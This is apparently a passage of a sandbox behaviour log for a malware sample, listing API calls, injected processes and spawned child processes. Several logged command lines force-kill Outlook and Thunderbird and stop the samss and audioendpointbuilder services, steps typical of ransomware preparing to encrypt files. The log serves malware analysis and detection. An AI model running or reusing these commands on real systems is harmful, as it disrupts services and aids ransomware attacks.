	[0284.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4030
	os_tid = 0x4478

	[0284.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4031
	os_tid = 0x447c

	[0284.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4032
	os_tid = 0x4480

	[0284.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4033
	os_tid = 0x4484

	[0284.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4034
	os_tid = 0x4488

	[0284.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4035
	os_tid = 0x448c

	[0284.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4036
	os_tid = 0x4490

	[0284.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4037
	os_tid = 0x4494

	[0284.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4038
	os_tid = 0x4498

	[0284.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4039
	os_tid = 0x449c

	[0284.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4040
	os_tid = 0x44a0


Process:
	id = "6"
	image_name = "taskhost.exe"
	filename = "c:\\windows\\system32\\taskhost.exe"
	page_root = "0x21fc5000"
	os_pid = "0x4a8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "injection"
	parent_id = "2"
	os_parent_pid = "0x1d8"
	cmd_line = "\"taskhost.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 19
	os_tid = 0x888


Thread:
	id = 20
	os_tid = 0x90


Thread:
	id = 21
	os_tid = 0x5a0


Thread:
	id = 22
	os_tid = 0x7d4


Thread:
	id = 23
	os_tid = 0x7a0


Thread:
	id = 24
	os_tid = 0x774


Thread:
	id = 25
	os_tid = 0x75c


Thread:
	id = 26
	os_tid = 0x4c0


Thread:
	id = 27
	os_tid = 0x4b4


Thread:
	id = 28
	os_tid = 0x4ac


Thread:
	id = 31
	os_tid = 0xa18

	[0135.728] GetVersionExW (in: lpVersionInformation=0x2ebfa60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2ebfa60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0135.901] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0135.909] SetLastError (dwErrCode=0x0) 
	[0135.909] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0135.911] GetLastError () returned 0x20
	[0135.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0135.911] Sleep (dwMilliseconds=0x1388) 
	[0141.387] Sleep (dwMilliseconds=0x61a8) 
	[0154.474] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0154.482] SetLastError (dwErrCode=0x0) 
	[0154.482] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0154.483] GetLastError () returned 0x20
	[0154.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0154.483] Sleep (dwMilliseconds=0x61a8) 
	[0165.440] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0165.447] SetLastError (dwErrCode=0x0) 
	[0165.448] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.449] GetLastError () returned 0x20
	[0165.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.449] Sleep (dwMilliseconds=0x61a8) 
	[0176.301] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0176.309] SetLastError (dwErrCode=0x0) 
	[0176.309] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.310] GetLastError () returned 0x20
	[0176.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.310] Sleep (dwMilliseconds=0x61a8) 
	[0187.017] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0187.018] SetLastError (dwErrCode=0x0) 
	[0187.018] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.598] GetLastError () returned 0x20
	[0224.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.762] Sleep (dwMilliseconds=0x61a8) 
	[0235.020] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0235.028] SetLastError (dwErrCode=0x0) 
	[0235.028] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.029] GetLastError () returned 0x20
	[0235.029] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.029] Sleep (dwMilliseconds=0x61a8) 
	[0245.237] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0245.237] SetLastError (dwErrCode=0x0) 
	[0245.237] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.237] GetLastError () returned 0x20
	[0245.237] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.237] Sleep (dwMilliseconds=0x61a8) 
	[0255.438] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0255.438] SetLastError (dwErrCode=0x0) 
	[0255.438] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.438] GetLastError () returned 0x20
	[0255.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.438] Sleep (dwMilliseconds=0x61a8) 
	[0266.167] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0266.167] SetLastError (dwErrCode=0x0) 
	[0266.167] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.167] GetLastError () returned 0x20
	[0266.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.168] Sleep (dwMilliseconds=0x61a8) 
	[0276.455] GetWindowsDirectoryW (in: lpBuffer=0x2ebfb10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0276.463] SetLastError (dwErrCode=0x0) 
	[0276.463] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.463] GetLastError () returned 0x20
	[0276.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.464] Sleep (dwMilliseconds=0x61a8) 

Thread:
	id = 37
	os_tid = 0xa68


Thread:
	id = 544
	os_tid = 0x1004


Process:
	id = "7"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x335c0000"
	os_pid = "0x9e8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM calculate-hung.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 29
	os_tid = 0x9f8


Thread:
	id = 44
	os_tid = 0xbac


Thread:
	id = 47
	os_tid = 0x454


Thread:
	id = 52
	os_tid = 0x8a8


Thread:
	id = 53
	os_tid = 0xabc


Process:
	id = "8"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x7a9ca000"
	os_pid = "0x530"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "injection"
	parent_id = "2"
	os_parent_pid = "0x370"
	cmd_line = "taskeng.exe {DAD14AF5-82A5-4514-AFD0-06330000279A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 32
	os_tid = 0x230


Thread:
	id = 33
	os_tid = 0x5b8


Thread:
	id = 34
	os_tid = 0x548


Thread:
	id = 35
	os_tid = 0x53c


Thread:
	id = 36
	os_tid = 0x534


Thread:
	id = 39
	os_tid = 0xab8

	[0137.150] GetVersionExW (in: lpVersionInformation=0x239f840*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x239f840*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0137.156] GetWindowsDirectoryW (in: lpBuffer=0x239f8f0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0137.163] SetLastError (dwErrCode=0x0) 
	[0137.163] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0137.164] GetLastError () returned 0x20
	[0137.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0137.165] Sleep (dwMilliseconds=0x1388) 
	[0143.285] Sleep (dwMilliseconds=0x61a8) 
	[0156.083] GetWindowsDirectoryW (in: lpBuffer=0x239f8f0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0156.090] SetLastError (dwErrCode=0x0) 
	[0156.091] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0156.092] GetLastError () returned 0x20
	[0156.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0156.092] Sleep (dwMilliseconds=0x61a8) 
	[0166.359] GetWindowsDirectoryW (in: lpBuffer=0x239f8f0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0166.431] SetLastError (dwErrCode=0x0) 
	[0166.431] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.432] GetLastError () returned 0x20
	[0166.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.433] Sleep (dwMilliseconds=0x61a8) 
	[0177.127] GetWindowsDirectoryW (in: lpBuffer=0x239f8f0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0177.135] SetLastError (dwErrCode=0x0) 
	[0177.136] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.136] GetLastError () returned 0x20
	[0177.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.137] Sleep (dwMilliseconds=0x61a8) 
	[0187.743] GetWindowsDirectoryW (in: lpBuffer=0x239f8f0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0187.744] SetLastError (dwErrCode=0x0) 
	[0187.744] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) 

Thread:
	id = 668
	os_tid = 0x1298


Process:
	id = "9"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x334ef000"
	os_pid = "0xa78"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 38
	os_tid = 0xa88


Thread:
	id = 42
	os_tid = 0xb8c


Thread:
	id = 45
	os_tid = 0x4f4


Thread:
	id = 49
	os_tid = 0x868


Thread:
	id = 50
	os_tid = 0x5b0


Process:
	id = "10"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x3421a000"
	os_pid = "0xb3c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 41
	os_tid = 0xb4c


Thread:
	id = 48
	os_tid = 0x898


Thread:
	id = 89
	os_tid = 0x97c


Thread:
	id = 113
	os_tid = 0x304


Thread:
	id = 114
	os_tid = 0xa1c


Process:
	id = "11"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x32e48000"
	os_pid = "0x2ac"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"audioendpointbuilder\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 46
	os_tid = 0x77c


Process:
	id = "12"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x8f04000"
	os_pid = "0x370"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "9"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 54
	os_tid = 0x9b8


Thread:
	id = 55
	os_tid = 0x874


Thread:
	id = 56
	os_tid = 0x770


Thread:
	id = 57
	os_tid = 0x8b8


Thread:
	id = 58
	os_tid = 0x318


Thread:
	id = 59
	os_tid = 0x638


Thread:
	id = 60
	os_tid = 0x25c


Thread:
	id = 61
	os_tid = 0x794


Thread:
	id = 62
	os_tid = 0x7a4


Thread:
	id = 63
	os_tid = 0x6d0


Thread:
	id = 64
	os_tid = 0x7ac


Thread:
	id = 65
	os_tid = 0x798


Thread:
	id = 66
	os_tid = 0x344


Thread:
	id = 67
	os_tid = 0x7e8


Thread:
	id = 68
	os_tid = 0x11c


Thread:
	id = 69
	os_tid = 0x41c


Thread:
	id = 70
	os_tid = 0x618


Thread:
	id = 71
	os_tid = 0x5fc


Thread:
	id = 72
	os_tid = 0x5f4


Thread:
	id = 73
	os_tid = 0x5d0


Thread:
	id = 74
	os_tid = 0x5c0


Thread:
	id = 75
	os_tid = 0x59c


Thread:
	id = 76
	os_tid = 0x480


Thread:
	id = 77
	os_tid = 0x45c


Thread:
	id = 78
	os_tid = 0x43c


Thread:
	id = 79
	os_tid = 0x414


Thread:
	id = 80
	os_tid = 0x410


Thread:
	id = 81
	os_tid = 0xf0


Thread:
	id = 82
	os_tid = 0xc8


Thread:
	id = 83
	os_tid = 0x3f4


Thread:
	id = 84
	os_tid = 0x3e8


Thread:
	id = 85
	os_tid = 0x39c


Thread:
	id = 86
	os_tid = 0x390


Thread:
	id = 87
	os_tid = 0x37c


Thread:
	id = 88
	os_tid = 0x374


Thread:
	id = 126
	os_tid = 0x8f8


Thread:
	id = 127
	os_tid = 0x938


Thread:
	id = 128
	os_tid = 0x948


Thread:
	id = 129
	os_tid = 0x884


Thread:
	id = 130
	os_tid = 0x8b4


Thread:
	id = 131
	os_tid = 0x864


Thread:
	id = 627
	os_tid = 0x11a8


Thread:
	id = 628
	os_tid = 0x11ac


Thread:
	id = 659
	os_tid = 0x124c


Thread:
	id = 660
	os_tid = 0x1250


Thread:
	id = 1752
	os_tid = 0x2148


Thread:
	id = 1766
	os_tid = 0x2184


Thread:
	id = 3489
	os_tid = 0x3b54


Thread:
	id = 3494
	os_tid = 0x3ae0


Thread:
	id = 3495
	os_tid = 0x3c04


Thread:
	id = 3920
	os_tid = 0x3c04


Thread:
	id = 3921
	os_tid = 0x3ae0


Thread:
	id = 3922
	os_tid = 0x3b54


Process:
	id = "13"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x32274000"
	os_pid = "0xa3c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 111
	os_tid = 0x9cc


Process:
	id = "14"
	image_name = "wmiadap.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiadap.exe"
	page_root = "0x32eef000"
	os_pid = "0xb40"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0x370"
	cmd_line = "wmiadap.exe /F /T /R"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 112
	os_tid = 0x69c


Thread:
	id = 119
	os_tid = 0xba4


Thread:
	id = 120
	os_tid = 0x6e8


Thread:
	id = 125
	os_tid = 0x918


Thread:
	id = 132
	os_tid = 0x314


Thread:
	id = 133
	os_tid = 0xb60


Process:
	id = "15"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0xd1f5000"
	os_pid = "0x2c8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "12"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 90
	os_tid = 0xb7c


Thread:
	id = 91
	os_tid = 0xbbc


Thread:
	id = 92
